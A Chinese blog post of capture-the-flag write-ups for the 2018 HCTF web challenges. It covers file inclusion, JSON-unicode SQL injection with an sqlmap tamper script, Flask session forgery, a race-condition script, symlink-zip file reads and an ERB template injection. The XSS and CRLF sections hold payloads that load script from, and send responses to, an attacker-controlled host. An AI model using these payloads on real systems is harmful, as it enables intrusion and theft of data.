sky's blog

2018 HCTF Web Writeup

字数统计: 4,859阅读时长: 24 min
2018/11/12 Share

Warmup

打开题目,f12发现

1
<!--source.php-->

以及hint和link:http://warmup.2018.hctf.io/index.php?file=hint.php

1
flag not here, and flag in ffffllllaaaagggg

看到source.php,发现源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

发现只有

1
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

才能通过,但发现截取有问题

1
2
3
4
5
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

随即构造

1
http://warmup.2018.hctf.io/?file=hint.php?/../../../../../../../../ffffllllaaaagggg


即可拿到flag

Kzone

信息搜集

打开题目

1
http://kzone.2018.hctf.io

发现跳转到QQ空间,想到可能是钓鱼网站,于是curl一下
发现如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!--<form id="form" action="index.php" method="post" onsubmit="return onpost()"> -->
<form action="2018.php" method="post" onSubmit="return ts()">

<div id="q_logon_list" class="q_logon_list"></div>
</div>
<div id="web_login">
<ul id="g_list">
<liid
="g_u">
<div id="del_touch" class="del_touch"><span id="del_u" class="del_u"></span></div>
<input id="u" class="inputstyle" name="user" autocomplete="off" placeholder="KK_Account/Phone/Email"></li>
<li id="g_p">
<div id="del_touch_p" class="del_touch"><span id="del_p" class="del_u"></span></div>
<input id="p" class="inputstyle" maxlength="16" type="password" name="pass" autocorrect="off"
placeholder="Input your KK_Account please"></li>
</ul>
<button id="go" name="submit">Login</button>
<div href="javascript:void(0);" id="onekey">Login quickly</div>
</div>
<div id="switch">
<div id="swicth_login" onClick="pt._switch()" style="display:none"></div>
<div id="zc_feedback"><span id="zc"
onclick="window.open('https://ssl.zc.qq.com/v3/index-chs.html?from=pt')">Register</span>
<span id="forgetpwd">Retrieve password</span></div>
</div>
</form>

于是可以判断为钓鱼网站,首先做个目录探测,容易发现www.zip源码泄露

1
http://kzone.2018.hctf.io/www.zip

代码审计

首先是结构:
admin文件夹:管理整个钓鱼网站,导出、查看、删除钓鱼信息
include文件:包含一些功能性文件
2018.php:钓鱼插入文件
然后进行大致分析,首先查看2018.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
if ($ipcount < 3) {
$username = addslashes($_POST['user']);
$password = addslashes($_POST['pass']);
$address = getCity($realip);
$time = date("Y-m-d H:i:s");
$ua = $_SERVER['HTTP_USER_AGENT'];
$device = get_device($ua);
$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
$DB->query($sql);
header("Location: https://i.qq.com/?rd=" . $username);
} else {
header("Location: https://i.qq.com/?rd=" . $username);
}
?>

发现大概是将钓鱼用户的信息插入数据库,代码使用了许多sql语句,所以查看过滤,发现/include/safe.php有全局过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
.....
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
?>

过滤了get,post,cookie
但是http header应该没经过过滤,于是想到可否控制ip,然后达成insert注入
跟一下real_ip()

1
2
3
4
5
6
7
8
9
10
11
12
function real_ip()
{
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $list[0];
}
if (!ip2long($ip)) {
$ip = '';
}
return $ip;
}

发现虽然可以用xff,但是有ip2long的验证,这条路不通。
那么看到admin的login.php

1
2
3
if (isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['login'])) {
$user = addslashes($_POST['user']);
$pass = addslashes($_POST['pass']);

上来就发现过滤,应该也无法突破。
那么只能看include文件夹里有什么突破点了,看到member.php
发现突破口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

在做admin校验的时候用了弱比较

1
2
3
4
if ($admin_pass == $login_data['admin_pass']) 
{
$islogin = 1;
}

那么我们可以尝试fuzz admin_pass,从数字0开始跑,跑到65发现成功登陆admin

注入

该方法来自于大哥Ricterz,鬼才真的是鬼才,方法如下:
我们发现在用cookie做身份校验的时候查询了数据库

1
2
3
4
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

发现其中用了json_decode,那么我们可以尝试使用编码进行bypass,即可无视一切过滤进行注入

1
2
3
4
5
6
7
8
9
10
11
12
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')



于是尝试数据库注入,打开神器sqlmap,编写一下tamper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"admin%s","admin_pass":65};'''
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
return data % payload

然后我们知道,目标肯定是Mysql,且这里用bool注入即可,那么我们指定bool盲注

1
--technique=B

指定数据库

1
--dbms=mysql

于是我们可以尝试探测一下数据库

1
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --technique=B --dbs

但是蛋疼的事来了,sqlmap告诉我们没有漏洞,原因肯定是sqlmap对回显识别有问题,所以我们尝试指定错误时候的回显


1
--not-string=window.location

然后加点线程

1
--thread=10

最后有

1
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs

即可愉快的得到结果

然后指定库名跑表名

1
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone --tables


指定表名跑列名

1
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g --columns


最后在跑flag的时候又遇到跑不出来的问题

1
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g -C F1a9 --dump

看一下tamper

1
payload = payload.lower()

因为我们把payload转小写了,于是我们把它转回去

1
2
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')

即可愉快的得到flag

即可拿到flag

admin

有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:

  • 法1:伪造session
  • 法2:unicode欺骗
  • 法3:条件竞争

信息搜集

拿到题目

1
http://admin.2018.hctf.io/

f12查看源代码

1
<!-- you are not admin -->

发现提示要成为admin
随便注册个账号,登入后,在

1
view-source:http://admin.2018.hctf.io/change

发现提示

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

于是下载源码

功能分析

拿到代码后,简单的查看了下路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/index')
def index():

@app.route('/register', methods = ['GET', 'POST'])
def register():

@app.route('/login', methods = ['GET', 'POST'])
def login():

@app.route('/logout')
def logout():

@app.route('/change', methods = ['GET', 'POST'])
def change():

@app.route('/edit', methods = ['GET', 'POST'])
def edit():

查看一下路由,功能非常单一:登录,改密码,退出,注册,edit。
但edit功能也是个假功能,并且发现并不会存在sql注入之类的问题,也没有文件写入或者是一些危险的函数,此时陷入了困境。

解法一:session伪造

初步探索

想到的第一个方法:session伪造
于是尝试伪造session,根据ph写的文章

1
https://www.leavesongs.com/PENETRATION/client-session-security.html

可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
所以我们构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

然后可以尝试读取我们的session内容

此时容易想到伪造admin得到flag,因为看到代码中

想到把name伪造为admin,于是github上找了个脚本

1
https://github.com/noraj/flask-session-cookie-manager

尝试伪造

1
{u'csrf_token': 'bedddc7469bf16ac02ffd69664abb7abf7e3529c', u'user_id': u'1', u'name': u'admin', u'image': 'aHme', u'_fresh': True, u'_id': '26a01e32366425679ab7738579d3ef6795cad198cd94529cb495fcdccc9c3c864f851207101b38feb17ea8e7e7d096de8cad480b656f785991abc8656938182e'}

但是需要SECRET_KEY
我们发现config.py中存在

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

于是尝试ckj123

但是比赛的时候很遗憾,最后以失败告终,当时以为key不是SECRET_KEY,就没有深究
后来发现问题https://graneed.hatenablog.com/entry/2018/11/11/212048
似乎python3和python2的flask session生成机制不同

改用python3生成即可成功伪造管理员

解法二:Unicode欺骗

代码审计

在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现这样一句

好奇怪,为什么要转小写呢?
难道注册的时候没有转大小写吗?


但随后发现注册和登录都用了转小写,注册ADMIN的计划失败
但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?
有没有什么不一样的地方呢?于是想到跟进一下函数

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

本能的去研究了一下nodeprep.prepare
找到对应的库

1
https://github.com/twisted/twisted

这个方法很容易懂,即将大写字母转为小写
但是很快就容易发现问题


版本差的可真多,十有八九这里有猫腻

unicode问题

后来搜到这样一篇文章

1
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

对于如下字母

1
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ

具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare会进行如下操作

1
ᴀ -> A -> a


即第一次将其转换为大写,第二次将其转换为小写
那么是否可以用来bypass题目呢?

攻击构造

我们容易想到一个攻击链:

  • 注册用户ᴀdmin
  • 登录用户ᴀdmin,变成Admin
  • 修改密码Admin,更改了admin的密码

于是成功得到如下flag

扩展

这里的unicode欺骗,让我想起了一道sql注入题目

1
skysec.top/2018/03/21/从一道题深入mysql字符集与比对方法collation/

解法三:条件竞争

该方法也是赛后交流才发现的,感觉有点意思

代码审计

我们发现代码在处理session赋值的时候


两个危险操作,一个登陆一个改密码,都是在不安全check身份的情况下,直接先赋值了session
那么这里就会存在一些风险
那么我们设想,能不能利用这一点,改掉admin的密码呢?
例如:

  • 我们登录sky用户,得到session a
  • 用session a去登录触发admin赋值
  • 改密码,此时session a已经被更改为session b了,即session name=admin
  • 成功更改admin的密码

但是构想是美好的,这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的
我们会在第一步直接跳转,所以这里需要条件竞争

条件竞争思路

那么能不能避开这个check呢?
答案是显然的,我们双线并进
当我们的一个进程运行到改密码

这里的时候
我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置

此时正好session name变为admin,change密码正好更改了管理员密码

payload

这里直接用研友syang@Whitzard的脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading

def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')

def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish')

def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()

if __name__ == "__main__":
main()

hide and seek

拿到题目,读一下cookie

1
eyJ1c2VybmFtZSI6ImV3Z3RyIn0.DskYKw.8F8fj0a4sT0l8sD2-widlj9pN8U

解码

思路很清晰,伪造admin即可
然后发现软连接可用来任意文件读取,那么想到读取secret_key
读文件

1
2
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt

得到内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

关键语句

1
2
3
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

但是SECRET_KEY是随机数,需要预测,那么需要py版本号

1
2
ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt

发现内容

1
2
3
4
5
6
7
8
9
10
11
12

from flask import Flask
app = Flask(__name__)


@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)

发现python是3.6版本的,那么即可尝试预测随机数
对于uuid.getnode()
尝试读取/sys/class/net/eth0/address
得到12:34:3e:14:7c:62
计算十进制:20015589129314
用python3.6去看一下随机数

1
2
random.seed(20015589129314)
print str(random.random()*100)


得到secret_key=11.935137566861131
尝试伪造session

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk

得到flag

game

这题贼无聊。。。order by password就行,然后一直注册fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import hashlib
import threading

def md5(str):
sha = hashlib.md5(str)
encrypts = sha.hexdigest()
return encrypts

def reg(username,password):
url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
data = {
"username":username,
"password":password,
"sex":"1",
"submit":"submit"
}
headers = {
'Connection': 'close',
}
r = requests.post(url=url,data=data,headers=headers)

def fuzz(start,end):
for i in range(start,end):
password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
username=md5(password)
content = username + " " + password +" "+ str(i) + "\n"
reg(username, password)
print content
print str(start)+'~'+str(end)+"complete"

step=20
for i in range(33,127,step):
t = threading.Thread(target=fuzz, args=(i, i+step))
t.start()

一位一位得到密码dSa8&&!@#$%^&d1nGy1aS3dja
登录admin,即可

share(队友完成)

http://share.2018.hctf.io/home/Alphatest里看到我们的uid和当前file number。
http://share.2018.hctf.io/home/share存在xss。
content填入xss代码:<img src=s onerror='var p=document.createElement("script");p.src="https://vps";document.body.appendChild(p);'>Download url随便填。
读取后台web页面,可以看到主要能用到的有addtestupload。其中addtest提交到/file/Alpha_test,upload提交到/file/upload
这两个的代码在tobots.txt中都有。这两个url都做了限定只有admin才能提交。
因此我们需要利用xss上传我们的文件。读取源码可以知道这是ruby on rails。我们可以上传erb模板文件。
在源码中使用了Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
队友找到cve 2018-6914(ruby2.5.0的hint,我本地版本不对卡了好久。。。。)
参考:https://hackerone.com/reports/302298,我们可以构造文件名为/../../app/views/home/aa38.erb,文件内容:<%= `cat /flag ` %>,在这里文件名和文件内容都需要base64编码一次。
上传文件js payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$.get("http://share.2018.hctf.io/home/upload",function(data){	
var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
var formData = new FormData();

formData.append("authenticity_token", token);
formData.append("file[context]", "zxcvxzcvxzcv");

var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //这是文件内容的base64
var blob = new Blob([content], { type: "image/png"});

formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64
formData.append("commit", 'submit');

var request = new XMLHttpRequest();
request.open("POST", "http://share.2018.hctf.io/file/upload");
request.send(formData);
request.onreadystatechange=function()
{
if (request.readyState==4)
{
$.ajax({url:'http://vps/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dataType:'jsonp',success:function(a){}});
}
}
});

上传之后我们的erb模板就已经躺在home目录下面了。但是需要通过管理员分享给自己才能拿到文件名。
文件分享payload:

1
2
3
4
5
6
$.get("http://share.2018.hctf.io/home/addtest",function(data){	
var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
$.ajax({url:'http://share.2018.hctf.io/file/Alpha_test',type:'POST',data:{'token':token,'uid':'3','fid':'23','commit':'submit'},success:function(a){
$.get("http://vps/?set=aaa",function(b){});
}});
});

这里的fid就是当前文件个数。最后一个上传的文件就是我们的文件。
然后查看home/Alphatest,就能拿到文件名。
最后访问http://share.2018.hctf.io/?page=aa3820181111-336-12y58wh获取flag。

bottle(队友完成)

登录进去发现有个path的302跳转,猜测这里有xss,试了一下不行,根据提示得到firefoxdriver,猜测有crlf,结合Transfer-Encoding
chunked头,尝试了一下post请求,这里要加content-length和xss-proction就可以弹回来了,然后就是替换bot的cookie,payload

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. Warmup
  2. 2. Kzone
    1. 2.1. 信息搜集
    2. 2.2. 代码审计
    3. 2.3. 注入
  3. 3. admin
    1. 3.1. 信息搜集
    2. 3.2. 功能分析
    3. 3.3. 解法一:session伪造
      1. 3.3.1. 初步探索
    4. 3.4. 解法二:Unicode欺骗
      1. 3.4.1. 代码审计
      2. 3.4.2. unicode问题
      3. 3.4.3. 攻击构造
      4. 3.4.4. 扩展
    5. 3.5. 解法三:条件竞争
      1. 3.5.1. 代码审计
      2. 3.5.2. 条件竞争思路
      3. 3.5.3. payload
  4. 4. hide and seek
  5. 5. game
  6. 6. share(队友完成)
  7. 7. bottle(队友完成)